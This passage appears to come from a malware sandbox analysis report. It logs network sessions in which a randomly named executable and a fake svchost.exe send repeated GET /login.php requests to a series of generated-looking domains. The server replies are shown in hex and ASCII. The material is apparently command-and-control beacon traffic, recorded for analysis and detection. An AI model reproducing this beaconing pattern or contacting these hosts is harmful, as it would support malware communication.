                                                                                                                                                                                                          Server: Microsoft-IIS/7.5
                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:35 GMT
                                                                                                                                                                                                          Content-Length: 1245
                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.308182001 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                          Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          50192.168.2.663520154.212.231.8280
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.853300095 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.723053932 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:41 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          51192.168.2.66351985.17.31.82801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.854620934 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          52192.168.2.663518199.59.243.227801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.854620934 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.278757095 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:40 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1094
                                                                                                                                                                                                          x-request-id: 193e595f-e7f5-4045-ad98-8bed19e3e289
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                          set-cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da; expires=Mon, 11 Nov 2024 17:28:41 GMT
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.278784990 CET520INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                          Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmY0YTM5M2UtMWE2MS00NTQzLTkyYjItOGRkOGNhNjUzNGRhIiwicGFnZV90aW1lIjoxNzMxMzQ1MjIxLCJwYWdlX3VybCI6Imh0dHA6L


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          53192.168.2.663521208.100.26.245801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.873872042 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.312769890 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:41 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          54192.168.2.66352244.221.84.105801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.885122061 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyfuv.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345181|1731345181|0|1|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.305484056 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:41 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345221|1731345181|20|2|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          55192.168.2.66352572.52.179.174804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.089545965 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyhub.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          56192.168.2.66417772.52.179.174804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.619966984 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyhub.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          57192.168.2.6505153.94.10.34804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.078619003 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lymyxid.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345217|1731345181|18|2|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.500593901 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:44 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345224|1731345181|12|3|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          58192.168.2.65051844.221.84.105804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.396770954 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyfuv.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345181|1731345181|0|1|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831527948 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:44 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345224|1731345181|21|2|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          59192.168.2.65051985.17.31.82804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.401446104 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          60192.168.2.650517199.59.243.227804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.414901972 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831434011 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:44 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1094
                                                                                                                                                                                                          x-request-id: 7d8a22ea-671c-491e-a384-a72b1bd54b9a
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                          set-cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da; expires=Mon, 11 Nov 2024 17:28:44 GMT
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.831515074 CET520INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                          Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmY0YTM5M2UtMWE2MS00NTQzLTkyYjItOGRkOGNhNjUzNGRhIiwicGFnZV90aW1lIjoxNzMxMzQ1MjI0LCJwYWdlX3VybCI6Imh0dHA6L


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          61192.168.2.65052044.221.84.105804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.425369978 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
